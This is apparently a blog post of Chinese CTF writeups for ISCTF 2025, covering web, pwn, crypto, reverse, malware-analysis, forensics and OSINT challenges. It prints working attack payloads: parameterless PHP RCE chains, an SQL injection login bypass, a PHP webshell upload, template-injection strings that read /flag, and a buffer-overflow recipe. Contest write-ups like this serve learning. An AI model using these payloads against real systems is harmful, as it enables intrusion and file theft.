第一步:改变工作目录 (Change Directory)
PHP
chdir(dirname(dirname(dirname(getcwd()))));
这是解题的关键转折点。

getcwd(): 获取当前目录,即 /var/www/html。
dirname(): 取父目录。用了三次,路径变化如下:
/var/www/html
/var/www
/var
/ (根目录)
chdir(…): 将 PHP 的当前工作目录切换到了根目录 /。
之前失败的原因:我们在 /var/www/html 下告诉 PHP 打开 flag,它找不到。
现在成功的原因:我们已经“站”在根目录下了,此时打开 flag 就是打开当前目录下的文件,路径正确。
第二步:读取文件 (Read File)
PHP
show_source(array_rand(array_flip(scandir(getcwd()))));
getcwd(): 因为刚才执行了 chdir,现在这里返回的是 /。
scandir(‘/‘): 列出根目录下所有文件(包含 flag)。
array_flip() + array_rand():这是标准的“无参数随机读取”套路。
因为我们不能写整数下标(如 [6]),也不能写字符串(如 ‘flag’)。
所以把文件名变成数组的键,然后随机取一个键。
show_source(…): 读取随机选中的文件。
3. 通用解题思路总结 (无参数 RCE)
以后遇到类似题目(eval($_GET[‘code’]) 且正则只允许函数调用),可以按照这个流程思考:

Step 1: 侦察环境

Payload: print_r(scandir(getcwd()));
目的:看看当前目录下有什么文件,确定 Flag 是否在当前目录。
Step 2: 定位 Flag

如果 Flag 不在当前目录,通常在根目录。
Payload: print_r(scandir(dirname(dirname(getcwd())))); (根据目录层级调整 dirname 数量)
目的:确认 Flag 的文件名(是 flag 还是 flag.txt)以及大致位置。
Step 3: 移动并读取 (最稳妥策略)

直接读取文件通常涉及到路径问题(无法输入 / 符号)。
最优解:先用 chdir() 配合 dirname() 跳到目标目录,然后再读取。
读取技巧:
确定位置:如果你知道 Flag 是数组倒数第二个,用 next(array_reverse(scandir(getcwd())))。
不确定位置:用 array_rand(array_flip(…)) 随机读取,多刷几次。
HTTP Header:如果环境允许,用 eval(end(getallheaders())) 是最省事的。
总结一句话
之前的报错是因为 PHP 在错误的目录下找文件;你的成功 Payload 通过 chdir 先“搬家”到根目录,然后再找文件,逻辑完美闭环。

flag在哪里

首先题目说明有爬虫,查看/robots.txt
说明User-agent: *
Disallow: /admin/login.php

查看/admin/login.php

hint:账号以admin进入然后在密码栏使用SQL注入破坏
‘ OR ‘1’=’1
然后进入一个文件上传页面
随便上传一个含有一句话木马的php文件即可
然后使用antsword连接
查看到flag在env里面

power tower

标签(空格分隔): 未分类


这道题考察的是 模运算的降幂性质(费马小定理)。

原始代码中的加密逻辑是:

l = pow(2, pow(2, t), n) # 数学表达为: l = 2^(2^t) mod n
c = flag ^ l

解题脚本
请直接运行以下 Python 代码即可得到 Flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from Crypto.Util.number import long_to_bytes

# 题目给出的数据
t = 6039738711082505929
n = 107502945843251244337535082460697583639357473016005252008262865481138355040617
c = 114092817888610184061306568177474033648737936326143099257250807529088213565247

# 1. 确定欧拉函数 phi(n)
# 因为 n 是质数,所以 phi(n) = n - 1
phi = n - 1

# 2. 降幂计算有效的指数 exp
# 计算 exp = 2^t mod (n-1)
# 这一步利用了费马小定理,避免了直接计算 2^t 的内存溢出问题
exp = pow(2, t, phi)

# 3. 计算 l = 2^exp mod n
l = pow(2, exp, n)

# 4. 解密 flag
# 原理: c = flag ^ l ==> flag = c ^ l
m = c ^ l

# 5. 将整数转换为字节串并打印
print(long_to_bytes(m))

SAD_BOOTLE

首先审计代码# hint: flag is in /flag

发现有黑名单BLACKLIST = [“b”,”c”,”d”,”e”,”h”,”i”,”j”,”k”,”m”,”n”,”o”,”p”,”q”,”r”,”s”,”t”,”u”,”v”,”w”,”x”,”y”,”z”,”%”,”;”,”,”,”<”,”>”,”:”,”?”]

def contains_blacklist(content):
“””检查内容是否包含黑名单中的关键词(不区分大小写)”””
content = content.lower()
return any(black_word in content for black_word in BLACKLIST)
而且只有’f’l’a’g’和()/这几个符号没有被过滤

再看使解压平台想到使用压缩包路径穿梭,但是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def safe_extract_zip(zip_path, extract_dir):
"""安全解压ZIP文件(防止路径遍历攻击)"""
with zipfile.ZipFile(zip_path, 'r') as zf:
for member in zf.infolist():
member_path = os.path.realpath(os.path.join(extract_dir, member.filename))
if not member_path.startswith(os.path.realpath(extract_dir)):
raise ValueError("非法文件路径: 路径遍历攻击检测")
这里直接给防了

此时继续看找到了sink点
if contains_blacklist(content):
return "文件内容包含不允许的关键词"

try:
return template(content)
except Exception as e:
return f"渲染错误: {str(e)}"
发现可以渲染所需要的文件。

此时便思考能否通过斜体字来绕过

构造{{ 𝑜𝑝𝑒𝑛("/flag").𝑟𝑒𝑎𝑑() }}
此时成功获得flag

who am I

首先注册个账号,然后登录,此时看到type=1
通常admin设为0把值改掉,然后可以以管理员权限进去
可以看到几个重要文件此时关注dash
此时构造payload
GET /operate?username=app&password=jinja_loader.searchpath&confirm_password=[‘/‘]
利用username和password来对渲染进行破坏

REVERSE–ezzz_math(Z3)

查壳->无壳->用IDA->打开main 函数
Flag23 个字符,异或 0xC 解密
hajimi
进入sub_40100 函数(23 个线性方程组)
hajimi
hajimi

PWN—来签个到吧

打开靶机->附件IDA 打开
hajimi

  1. 构造 108 字节填充 + 返回地址 0xaddaaaaa
  2. 发送 payload 触发溢出
  3. 接收到”blueshark likes you too!”表示成功
  4. 执行 cat flag 获取 flag

hajimi

病毒分析

XOR 混淆(第二阶段)
解密第三阶段
UPX 压缩/壳(第三阶段)
最终核心恶意代码

1.海莲花

hajimi

  1. APT3(海莲花)最喜欢把 Drop 出来的 malware 放到 System32并伪装成系统组件(无扩展名或修改名)。

  2. APT3 典型特征之一就是使用“随机命名、无扩展名”的二进制文件 TJe1w
    fR6WI
    这种随机大小写 + 无扩展名的文件,是海莲花最常见 Loader 的特征

  3. APT3 常利用 LNK 配合系统程序(msiexec、wscript、cmd)来避免直接暴露恶意 exe。

  4. 近期活跃
    APT3 在最近一年持续被多家威胁情报厂商点名,比如使用 PlugX、Koadic、以及定制 loader。

6.xor

通过对第二阶段样本进行静态分析,观察到:
程序中出现明显的逐字节处理循环:

decoded[i] = encoded[i] ^ key

  • 常量 key 通常为 1 字节或 4 字节;

  • 未出现复杂的加密库调用,如 CryptoAPI、AES/RSA 函数;

  • 明文 payload 解密后恢复出标准 PE 文件头(”MZ”)。这些特征强烈表明其采用 XOR 异或混淆。

8.UPX

对第三阶段解密后的可执行文件进行初步检查时,可观察到以下典型特征:

  • 文件头中包含 UPX! 标识;

  • .text、.data、.rsrc 等常规节区被替换为 UPX0、UPX1;

  • 文件体积明显偏小,结构紧凑;

  • 入口点跳转到一段“非常规”初始化代码;

  • 使用 UPX 官方工具(upx -l)可成功识别并解压。

OSINT-2

hajimi
观察发现这座标志性大桥

通过Google搜索得知是曼哈顿大桥(Manhattan Bridge)

在曼哈顿大桥和另外一座桥中间逛一逛
hajimi
hajimi
就可以发现原图了

OSINT-1

hajimi
说实话第一题要比第二题难
hajimi
首先先看到这个图书馆,墙壁上的字推出在中国的某高校,结合出题人是福建理工大学的,先去看看理工的图书馆,发现不是,再去看理工旁边的大学,首先排除福师大,在福大发现目标

只不过有点奇怪的是按照格子数的准确点不是答案,以至于需要把广场上的格子都点一遍

guess

二分法

阿利维亚的传说

hajimi

首先打开WPS或者Word里显示隐藏文字的功能,有隐藏文字

找到flag1

再用foremost从图片中提取出一个zip压缩包,用Advanced Archive Password Recovery进行暴力破解,得到口令 : 8652,得到flag3

谕言3:

T=FMfr

R=iytY

U=nGFo

E=diou

hajimi
用StegSolve打开图片,观察到图片中泰坦的三把钥匙颜色刚好对应red、green、blue,用LSB查看三个颜色数据,发现base64

解码后得到flag2:

谕言2:

W=Hoeih

H=ouTgo

l=pIhhi

L=uaeNc

E=YkrCe

最后解密思路 : 每段谕言中列出的字母(例如谕言1的V/A/N)对应等长的字符串,把这些字符串按给定顺序逐字符纵向拼接(即取所有映射的第0位组成第1行,第1位组成第2行,依此类推),然后把这些行顺序连接即可得到明文。

示例(谕言1):V=Dortt,A=otuTa,N=NTsin。逐行取字母得到行:”DoN”、”otT”、”rus”、”tTi”、”tan”,合并为“DoNotTrustTitan”。

解密结果(最终flag):

· 谕言1:DoNotTrustTitan

· 谕言2:HopeYouMakeTherightChoice

· 谕言3:FindMyGiftForYou

ISCTF{DoNotTrustTitan_ HopeYouMakeTherightChoice FindMyGiftForYou}

Miscrypto

这是一道密码学结合杂项的题目

首先看n.txt,发现是Brainfuck加密,用在线网站解得:

1
2
n=
7644027341241571414254539033581025821232019860861753472899980529695625198016019462879314488666454640621660011189097660092595699889727595925351737140047609

hajimi

然后看c.png,用Binwalk检测发现有两个png图片,提取出来另一个图片,但是没什么用,在010editor里查看原图数据,发现两个图片的尾部有东西,一个是base64

hajimi
另一个是自定义 Base64 字表

CDABGHEFKLIJOPMNSTQRWXUVabYZefcdijghmnklqropuvstyzwx23016745 +/89

逐字符换回标准 Base64 后得到的标准串为:

1
dVEUmUQlJQSQCIZQcRVnWXSRETg5IXQ5hAMIRIFQVVQhFhkRCDlVEJF4J3hlaJISYkREQWAQBYMIgocJFwB5KHM0KSEEQEZxIDWSORc=

base64解码出来并不是数字字符串,但是原始字节(十六进制)为:

75 51 14 99 44 25 25 04 90 08 86 50 71 15 67 59

74 91 11 38 39 21 74 39 84 03 08 44 81 50 55 54

21 16 19 11 08 39 55 10 91 78 27 78 65 68 92 12

62 44 44 41 60 10 05 83 08 82 87 09 17 00 79 28

73 34 29 21 04 40 46 71 20 35 92 39 17

十六进制没有字母?将这串数字作为c

接下来解密码题

  1. 分析题目:
    题目提示“这是一道费马”,且给出了 RSA 的公钥参数 n,e 和密文 c。这通常暗示 n 的两个素因子 p 和 q 非常接近,可以使用费马分解法 (Fermat’s Factorization Method) 快速分解 nn。

  2. 解密步骤:
    使用费马分解法分解 n 得到 p 和 q。
    计算欧拉函数 ϕ(n)=(p−1)(q−1)ϕ(n)=(p−1)(q−1)。
    计算私钥dd,满足 d⋅e≡1(modϕ(n))d⋅e≡1(modϕ(n))。
    解密密文 m=cd(modn)m=cd(modn)。
    将 mm 转换为字节串得到 flag。

解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from Crypto.Util.number import long_to_bytes, inverse
import math

n = 7644027341241571414254539033581025821232019860861753472899980529695625198016019462879314488666454640621660011189097660092595699889727595925351737140047609

c = 7551149944252504900886507115675974911138392174398403084481505554211619110839551091782778656892126244444160100583088287091700792873342921044046712035923917

e = 65537

def fermat_factorization(n):

# Fermat's factorization method

# n = a^2 - b^2 = (a-b)(a+b)

# Start checking a from sqrt(n)

a = math.isqrt(n)

if a * a < n:

a += 1



count = 0

while True:

b2 = a * a - n

b = math.isqrt(b2)

if b * b == b2:

return a - b, a + b

a += 1

count += 1

if count % 1000000 == 0:

print(f"Searching... iteration {count}")

print("Starting factorization...")

p, q = fermat_factorization(n)

print(f"Found p: {p}")

print(f"Found q: {q}")

phi = (p - 1) * (q - 1)

d = inverse(e, phi)

m = pow(c, d, n)

flag = long_to_bytes(m)

print(f"Flag: {flag.decode()}")

Flag: ISCTF{M15c_10v3_Cryp70}

应急响应–hacker

流量分析题,用wireshark打开查看,发现POST /login.php的字,使用多脚本(analyze_registrations.py, find_post_any_port.py, analyze_db_connections.py, search_db_payloads.py 等)解析 pcap,筛选含 register/signupusername=password=/auth/users 的 HTTP POST 请求,统计源 IP,并检查数据库端口(如 MySQL 3306)交互以寻找写入/认证证据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
from scapy.utils import PcapNgReader

from scapy.layers.inet import IP, TCP

from collections import defaultdict

import re

import datetime

PCAP_PATH = r"c:\Users\35518\OneDrive\Desktop\ISCTF2025_hacker\hacker的流量.pcapng"

REG_PATTERNS = [

re.compile(r'register', re.I),

re.compile(r'signup', re.I),

re.compile(r'/auth/users', re.I),

re.compile(r'nacos/v1/auth/users', re.I),

re.compile(r'username=', re.I),

re.compile(r'password=', re.I),

]

def matches_registration(uri_or_body):

if not uri_or_body:

return False

for p in REG_PATTERNS:

if p.search(uri_or_body):

return True

return False

def extract_request_line_and_body(s):

# split into request line and rest

parts = s.split('\r\n\r\n', 1)

head = parts[0] if parts else s

req_line = head.split('\r\n',1)[0] if head else ''

body = parts[1] if len(parts) > 1 else ''

return req_line, body

def main():

counts = defaultdict(int)

samples = defaultdict(list)

try:

reader = PcapNgReader(PCAP_PATH)

except Exception as e:

print(f"无法打开 pcap 文件: {e}")

return

for pkt in reader:

try:

if IP in pkt and TCP in pkt and pkt[TCP].payload:

raw = bytes(pkt[TCP].payload)

try:

s = raw.decode('utf-8', errors='ignore')

except Exception:

s = raw.decode('latin1', errors='ignore')

# look for HTTP request lines

if s.startswith('POST ') or s.startswith('GET ') or '\r\nPOST ' in s:

# extract request line and body

req_line, body = extract_request_line_and_body(s)

combined = req_line + '\n' + body

if matches_registration(req_line) or matches_registration(body):

src = pkt[IP].src

counts[src] += 1

ts = getattr(pkt, 'time', None)

tstr = datetime.datetime.fromtimestamp(ts).isoformat() if ts else ''

if len(samples[src]) < 10:

samples[src].append({'time': tstr, 'req': req_line, 'body': body[:1000]})

except Exception:

continue

# write results to file

out_path = 'registration_results.txt'

with open(out_path, 'w', encoding='utf-8') as f:

if not counts:

f.write('未检测到注册相关的 HTTP POST 请求。\n')

print('未检测到注册相关的 HTTP POST 请求。')

return

f.write('来源 IP 及注册相关请求计数(降序):\n')

for ip, cnt in sorted(counts.items(), key=lambda x: x[1], reverse=True):

f.write(f'{ip}\t{cnt}\n')

for ex in samples.get(ip, []):

f.write('--- 示例 ---\n')

f.write(f"time: {ex['time']}\n")

f.write(f"req: {ex['req']}\n")

if ex['body']:

f.write('body: ' + ex['body'].replace('\r\n','\\r\\n') + '\n')

f.write('-----------\n')

print(f'结果已写入 {out_path}')

if __name__ == '__main__':

main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
rom scapy.utils import PcapNgReader

from scapy.layers.inet import IP, TCP

from collections import defaultdict

PCAP_PATH = r"c:\Users\35518\OneDrive\Desktop\ISCTF2025_hacker\hacker的流量.pcapng"

def main():

hits = defaultdict(list)

try:

reader = PcapNgReader(PCAP_PATH)

except Exception as e:

print(f"无法打开 pcapng 文件: {e}")

return

for pkt in reader:

try:

if IP in pkt and TCP in pkt and pkt[TCP].payload:

src = pkt[IP].src

raw = bytes(pkt[TCP].payload)

low = raw.lower()

if b'post ' in low:

# try to extract ascii around POST

try:

s = raw.decode('utf-8', errors='ignore')

except Exception:

s = raw.decode('latin1', errors='ignore')

# find line containing POST

for line in s.splitlines():

if line.lower().startswith('post '):

if len(hits[src]) < 10:

hits[src].append(line.strip())

break

except Exception:

continue

if not hits:

print('未检测到任意端口上的 HTTP POST 明文请求。')

return

for ip, lines in sorted(hits.items(), key=lambda x: len(x[1]), reverse=True):

print(f"{ip}\tposts={len(lines)}")

for l in lines:

print(f" {l}")

if __name__ == '__main__':

from collections import defaultdict

main()

from scapy.utils import PcapNgReader

from scapy.layers.inet import IP, TCP

from collections import defaultdict

PCAP_PATH = r"c:\Users\35518\OneDrive\Desktop\ISCTF2025_hacker\hacker的流量.pcapng"

DB_PORTS = {3306, 5432, 27017, 1433, 1521, 5984, 6379}

‘analyze_db_connections.py’

def main():

syn_counts = defaultdict(int)

pkt_counts = defaultdict(int)

try:

reader = PcapNgReader(PCAP_PATH)

except Exception as e:

print(f"无法打开 pcapng 文件: {e}")

return

for pkt in reader:

try:

if IP in pkt and TCP in pkt:

src = pkt[IP].src

sport = int(pkt[TCP].sport)

dport = int(pkt[TCP].dport)

if dport in DB_PORTS or sport in DB_PORTS:

pkt_counts[src] += 1

# SYN packets: flag 0x02

flags = pkt[TCP].flags

# Scapy may present flags as int-like

try:

if int(flags) & 0x02:

syn_counts[src] += 1

except Exception:

# fallback: string check

if 'S' in str(flags):

syn_counts[src] += 1

except Exception:

continue

if not pkt_counts:

print("未检测到到常见数据库端口的流量。")

return

print("按 TCP 包数量排序的来源 IP(目标为常见数据库端口):")

for ip, cnt in sorted(pkt_counts.items(), key=lambda x: x[1], reverse=True):

print(f"{ip}\tpackets={cnt}\tSYNs={syn_counts.get(ip,0)}")

if __name__ == '__main__':

main()

剩下的脚本略

来源 IP 及注册相关请求计数(降序):

192.168.37.177 161

192.168.37.87 106

192.168.37.1 89

192.168.37.3 28

192.168.37.100 24

192.168.37.200 7

Flag:ISCTF{192.168.37.177}

湖心亭看雪

查看test.py,根据提供的代码和注释,这是一个异或(XOR)解密问题。

已知:

  1. c = a ^ b

  2. b = b’blueshark’

  3. c 的十六进制值为 53591611155a51405e

根据异或运算的性质 a = c ^ b,我们可以反向计算出 a。

解密结果为:
b’15ctf2025’

这像是密码

hajimi

用010editor打开湖心亭.jpg,发现文件尾有多余的数据,是一个压缩包,但是文件头缺少了,补上50 4B 03 04,提取zip,用15ctf2025作为口令解压

hajimi
解压得到txt,发现有隐藏字符,结合题意,猜测是snow隐写,密码接着用15ctf2025,得到flag

end


文章作者: 持之以 恒
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 持之以 恒 !
 本篇
ISCTF2025_writeup ISCTF2025_writeup
队伍名称:NISA_Shell_We_Dance?队伍排名:总榜:104 新生榜:18所属院校及赛道:福建师范大学 新生赛道 在写这篇 writeup 之前,首先感谢 ISCTF 2025 的出题人们设计了这样有趣且富有挑战性的题目,也
2025-12-30 持之以 恒
下一篇 
first blog first blog
2025-12-30 持之以 恒
  目录